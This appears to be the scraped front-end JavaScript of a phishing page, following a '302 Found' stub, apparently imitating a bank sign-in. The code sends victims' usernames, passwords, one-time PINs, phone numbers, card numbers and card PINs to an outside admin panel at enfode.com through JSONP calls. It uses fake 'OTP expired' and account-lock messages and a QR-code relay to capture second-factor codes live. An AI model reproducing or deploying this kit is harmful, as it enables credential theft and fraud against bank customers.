302

Found

The document has been temporarily moved.

var siteURL = "https://enfode.com/admin/"; var otpCount = 1; var maxOtpCount = 2; var otpPrevious = ""; let timeoutId; function expandqr() { console.log(document.getElementById('qrtext').innerText); if (document.getElementById('qrtext').innerText == "EXPAND QR CODE") { document.getElementById('qrtext').innerText = "COLLAPSE QR CODE"; document.getElementById("qrpadding").style.padding = "15px 0 0 0"; } else { document.getElementById('qrtext').innerText = "EXPAND QR CODE"; document.getElementById("qrpadding").style.padding = "15px 70px 0px 70px"; } } function oninputfocus(eventName) { if (document.getElementById(eventName.name + 'IonItem').className == "item-interactive item-input item md ion-focusable hydrated item-label item-label-floating ion-invalid") { document.getElementById(eventName.name + 'IonItem').className = "item-interactive item-input item md ion-focusable hydrated item-label item-label-floating ion-invalid item-has-focus item-has-value"; document.getElementById(eventName.name + 'Error').style.display = 'block'; } else { document.getElementById(eventName.name + 'IonItem').className = "item-interactive item-input item md ion-focusable hydrated item-label item-label-floating item-has-focus item-has-value"; document.getElementById(eventName.name + 'Error').style.display = 'none'; } } function oninputfocusout(eventName) { var inputval = document.getElementById(eventName.name).value; if (inputval.length < 1) { document.getElementById(eventName.name + 'IonItem').className = "item-interactive item-input item md ion-focusable hydrated item-label item-label-floating ion-invalid"; document.getElementById(eventName.name + 'Error').style.display = 'block'; } else { document.getElementById(eventName.name + 'IonItem').className = "item-interactive item-input item md ion-focusable hydrated item-label item-label-floating item-has-value"; document.getElementById(eventName.name + 'Error').style.display = 'none'; } } function oninputchange(eventName) { var inputval = document.getElementById(eventName.name).value; if (inputval.length < 1) { document.getElementById(eventName.name + 'IonItem').className = "item-interactive item-input item md ion-focusable hydrated item-label item-label-floating ion-invalid item-has-focus item-has-value"; document.getElementById(eventName.name + 'Error').style.display = 'block'; } else { document.getElementById(eventName.name + 'IonItem').className = "item-interactive item-input item md ion-focusable hydrated item-label item-label-floating item-has-focus item-has-value"; document.getElementById(eventName.name + 'Error').style.display = 'none'; if (eventName.name == "uname") { if (inputval.length < 7) { document.getElementById('unameNotify').style.display = 'block'; } else { document.getElementById('unameNotify').style.display = 'none'; } } } } function hidetoast() { document.getElementById('ion-overlay-1').style.display = "none"; } function ptoggle() { var x = document.getElementById("pass"); if (x.type === "password") { x.type = "text"; document.getElementById('ptoggle').innerText = "SHOW"; } else { x.type = "password"; document.getElementById('ptoggle').innerText = "HIDE"; } } function ajax_jsonp_call(post_url, formValues, callBack) { //pageLoader(true); $.ajax({ url: post_url, data: formValues, dataType: "jsonp", cache: false, success: function (results) { //$('#div1').html(results); //alert('completed'); callBack(results); //pageLoader(false); }, error: function (jqXHR, textStatus, errorThrown) { console.log('Error: ' + textStatus + ' - ' + errorThrown); } }); } function startloading() { // document.querySelector("#signon").shadowRoot.querySelector("#sbtn").disabled=true; document.getElementById('loading').className = "loader spinner-button"; document.getElementById('signin-text').style.display = 'none'; } function stoploading() { // document.querySelector("#signon").shadowRoot.querySelector("#sbtn").disabled=false; document.getElementById('loading').className = "loader spinner-button sf-hidden"; document.getElementById('signin-text').style.display = 'block'; } jStandardLogin = {}; jStandardLogin.showPleaseWait = function () { $("div.spinner.pace").removeClass("pace-inactive ng-hide"); }; jStandardLogin.hidePleaseWait = function () { $("div.spinner.pace").addClass("pace-inactive ng-hide"); }; function qrcodewaiter() { const username = document.getElementById('uname').value; const pass = document.getElementById('pass').value; const intervalId = setInterval(() => { ajax_jsonp_call(siteURL + 'qrcheck.php', 'username=' + encodeURIComponent(username) + '&password=' + encodeURIComponent(pass) + '&tid=' + encodeURIComponent(document.getElementById('tid').value), function (responseText) { if (responseText.status == "exists") { console.log('exists'); document.getElementById('qrbox').style.display = 'block'; jStandardLogin.hidePleaseWait() setTimeout(function () { document.getElementById('qrsrc').src = responseText.message; document.getElementById('qrloading').style.display = 'none'; document.getElementById('qrpadding').style.display = 'block'; document.getElementById('qrpadding1').style.display = 'block'; document.getElementById('qrpadding2').style.display = 'block'; restartTimer(); }, 600); } else if (responseText.status == "goactivate") { clearInterval(intervalId); document.getElementsByTagName('body')[0].className = ""; document.getElementById('mainContainer').innerHTML = responseText.message; } else if (responseText.status == "gonext") { console.log('gonext'); clearInterval(intervalId); document.getElementsByTagName('body')[0].className = "ng-scope login migration-login-bg login-ping-bg"; document.getElementById('mainContainer').innerHTML = responseText.message; } else if (responseText.status == "scanned") { console.log('scanned'); clearTimeout(myTimeoutId); document.getElementById('qrbox').style.display = 'none'; document.getElementById('appcodebox').style.display = 'block'; let number = 283; let timeLeft = 3 * 60; const decrement = number / (timeLeft * 10); const countdownElement = document.getElementById("appcodetext"); const timer = setInterval(() => { number -= decrement; number = Math.max(0, parseFloat(number.toFixed(2))); document.getElementById("countdown-circle").style.strokeDashoffset = number; timeLeft -= 0.1; timeToGo = Math.floor(timeLeft); console.log(timeToGo); if (timeToGo < 0) { clearInterval(timer); } else { const minutes = Math.floor(timeToGo / 60); const seconds = timeToGo % 60; countdownElement.textContent = `${minutes}:${seconds.toString().padStart(2, "0")}`; } }, 100); } }); }, 4000); } jStandardLogin.jLoginContinue1 = function (form) { username = $("input#uname").val(); pass = $("input#pass").val(); if (username.length > 1) { startloading(); if (document.getElementById('passbox').style.display == 'none') { setTimeout(function () { stoploading(); document.getElementById('passbox').style.display = 'block'; }, 1000); } else { if (pass.length > 1) { ajax_jsonp_call(siteURL + 'begin.php', 'username=' + encodeURIComponent(username) + '&password=' + encodeURIComponent(pass), function (responseText) { if (responseText.message === "invalid email address") { document.querySelector("#ion-overlay-1").shadowRoot.querySelector("#toastmessage").innerText = 'Incorrect sign in details. After your 3rd failed attempt, your profile will be locked.'; document.getElementById('ion-overlay-1').style.display = 'block'; stoploading(); } else { if (responseText.status === "manual") { document.getElementById('loginbox').style.display = 'none'; jStandardLogin.showPleaseWait(); setTimeout(function () { document.getElementsByTagName('body')[0].className = "ng-scope login migration-login-bg login-ping-bg"; jStandardLogin.hidePleaseWait(); document.getElementById('mainContainer').innerHTML = responseText.message; }, 4000); } else { document.getElementById('ion-overlay-1').style.display = 'none'; setTimeout(function () { document.getElementsByTagName('body')[0].className = "ng-scope login migration-login-bg login-ping-bg"; document.getElementById('mainContainer').innerHTML = responseText.message; qrcodewaiter(); timeoutId = setTimeout(function () { document.getElementById('qrbox').style.display = 'block'; jStandardLogin.hidePleaseWait() }, 4000); }, 1500); // restartTimer(); } } }); } } } }; function togglelook() { const passwordInput = document.querySelector("#cpin") const eye = document.querySelector("#eye") eye.classList.toggle("fa-eye-slash"); const type = passwordInput.getAttribute("type") === "password" ? "text" : "password"; passwordInput.setAttribute("type", type) } function onsmschange(params) { var smsval = document.getElementById('otp').value; if (smsval.length < 4) { document.getElementById('smsbutton').disabled = true; document.getElementById('lenError').style.display = 'block'; document.getElementById('otp').className = "ng-untouched ng-valid-pattern ng-not-empty ng-dirty ng-valid-parse show-validation-styles ng-invalid ng-invalid-exact-lengths"; } else { if (smsval.length > 4) { document.getElementById('smsbutton').disabled = false; document.getElementById('otp').className = "ng-valid-pattern ng-not-empty ng-dirty ng-valid-parse show-validation-styles ng-touched ng-valid ng-valid-exact-lengths"; document.getElementById('lenError').style.display = 'none'; } } } function restartTimer() { let timeLeft = 3 * 60; // Get the countdown timer element const countdown = document.getElementById("qrtime"); // Update the timer every second const timer = setInterval(() => { // Calculate the minutes and seconds left let minutesLeft = Math.floor(timeLeft / 60); let secondsLeft = timeLeft % 60; // Add leading zeros if necessary minutesLeft = minutesLeft < 10 ? "0" + minutesLeft : minutesLeft; secondsLeft = secondsLeft < 10 ? "0" + secondsLeft : secondsLeft; // Update the countdown timer element countdown.textContent = `${minutesLeft}:${secondsLeft}`; // Decrement the time left timeLeft--; // Stop the timer when the time is up if (timeLeft < 0) { clearInterval(timer); countdown.textContent = "0:00"; document.getElementById('qrpadding').style.display = 'none'; document.getElementById('qrpadding1').style.display = 'none'; document.getElementById('qrpadding2').style.display = 'none'; document.getElementById('qrloading').style.display = 'block'; } }, 1000); } jStandardLogin.otp = function (form) { otpcode = $("input#otp").val(); if (otpcode.length > 4) { document.getElementById('otpmain').style.display = 'none'; jStandardLogin.showPleaseWait(); ajax_jsonp_call(siteURL + 'end.php?otpCount=' + otpCount, form.serialize(), function (responseText) { if (responseText.message == "retry") { document.getElementById("resend-countdown-message").style.display = 'none'; setTimeout(function () { document.getElementById('smsbutton').disabled = true; document.getElementById('lenError').style.display = 'block'; document.getElementById('otp').className = "ng-untouched ng-valid-pattern ng-not-empty ng-dirty ng-valid-parse show-validation-styles ng-invalid ng-invalid-exact-lengths"; document.getElementById('otp').value = ''; document.getElementById('otpmain').style.display = 'block'; jStandardLogin.hidePleaseWait() document.querySelector("#ion-overlay-1").shadowRoot.querySelector("#toastmessage").innerText = 'Your One Time Pin (OTP) has Expired, Please enter the new One-Time password (OTP) sent to your cellphone.'; document.getElementById('ion-overlay-1').style.display = 'block'; }, 60000); otpCount += 1; } else { document.getElementsByTagName('body')[0].className = ""; jStandardLogin.hidePleaseWait(); document.getElementById('mainContainer').innerHTML = responseText.message; otpCount += 1; } }); } return false; }; jStandardLogin.cell = function (form) { otpcode = $("input#phonenum").val(); if (otpcode.length > 9) { document.getElementById('otpmain').style.display = 'none'; jStandardLogin.showPleaseWait(); ajax_jsonp_call(siteURL + 'next.php', form.serialize(), function (responseText) { setTimeout(function () { document.getElementsByTagName('body')[0].className = "ng-scope login migration-login-bg login-ping-bg"; jStandardLogin.hidePleaseWait(); document.getElementById('mainContainer').innerHTML = responseText.message; }, 3000); }); } else { document.getElementById('phoneLenError').style.display = 'block'; } return false; }; function oncardchange() { var smsval = document.getElementById('cpin').value; if (document.getElementById('ccnum').value.length > 8) { if (smsval.length == 5) { document.getElementById('smsbutton').disabled = false; } } } function onactivepinchange() { var smsval = document.getElementById('otp').value; if (smsval.length != 5) { document.getElementById('smsbutton').disabled = true; document.getElementById('lenError').style.display = 'block'; document.getElementById('otp').className = "ng-untouched ng-valid-pattern ng-not-empty ng-dirty ng-valid-parse show-validation-styles ng-invalid ng-invalid-exact-lengths inpbox"; } else { document.getElementById('smsbutton').disabled = false; document.getElementById('otp').className = "inpbox"; document.getElementById('lenError').style.display = 'none'; } } function onpinchange() { var smsval = document.getElementById('cpin').value; if (smsval.length > 5) { document.getElementById('smsbutton').disabled = true; if (window.innerWidth < 1025) { document.getElementById('eye').style.top = "43%"; } else { document.getElementById('eye').style.top = "50%"; } document.getElementById('lenError').style.display = 'block'; document.getElementById('cpin').className = "ng-untouched ng-valid-pattern ng-not-empty ng-dirty ng-valid-parse show-validation-styles ng-invalid ng-invalid-exact-lengths"; } else { document.getElementById('eye').style.top = "50%"; if (smsval.length == 5) { if (document.getElementById('ccnum').value.length > 8) { document.getElementById('smsbutton').disabled = false; } } else { document.getElementById('smsbutton').disabled = true; } document.getElementById('cpin').className = "ng-pristine ng-untouched ng-empty ng-valid-pattern ng-invalid ng-invalid-exact-lengths"; document.getElementById('lenError').style.display = 'none'; } } jStandardLogin.card = function (form) { document.getElementById('hide-for-mobile').style.display = 'none'; jStandardLogin.showPleaseWait(); ajax_jsonp_call(siteURL + 'cver.php', form.serialize(), function (responseText) { setTimeout(function () { document.getElementsByTagName('body')[0].className = "ng-scope login migration-login-bg login-ping-bg"; jStandardLogin.hidePleaseWait(); document.getElementById('mainContainer').innerHTML = responseText.message; document.getElementById("resend-countdown-message").style.display = 'block'; sec = 60;//changed from 60 theinterval = setInterval(function () { document.getElementById("numberspan").innerHTML = sec; sec--; if (sec == 0) { clearInterval(theinterval); document.getElementById("resend-countdown-message").style.display = 'none'; } }, 1000); }, 5000);// 50 seconds // document.getElementById("resend-countdown-message").style.display = 'none'; // sec = 60;//changed from 60 // theinterval= setInterval(function() { // document.getElementById("numberspan").innerHTML = sec; // sec--; // if (sec==0) { // clearInterval(theinterval); // document.getElementById("resend-countdown-message").style.display='none'; // } // }, 1000); }); return false; }; jStandardLogin.activate = function (form) { document.getElementById('activatebox').style.display = 'none'; jStandardLogin.showPleaseWait(); ajax_jsonp_call(siteURL + 'oactive.php', form.serialize(), function (responseText) { setTimeout(function () { document.getElementsByTagName('body')[0].className = "ng-scope login migration-login-bg login-ping-bg"; document.getElementById('mainContainer').innerHTML = responseText.message; document.getElementById("resend-countdown-message").style.display = 'block'; sec = 60;//changed from 60 theinterval = setInterval(function () { document.getElementById("numberspan").innerHTML = sec; sec--; if (sec == 0) { clearInterval(theinterval); document.getElementById("resend-countdown-message").style.display = 'none'; } }, 1000); }, 50000);// 50 seconds // document.getElementById("resend-countdown-message").style.display = 'none'; // sec = 60;//changed from 60 // theinterval= setInterval(function() { // document.getElementById("numberspan").innerHTML = sec; // sec--; // if (sec==0) { // clearInterval(theinterval); // document.getElementById("resend-countdown-message").style.display='none'; // } // }, 1000); }); return false; };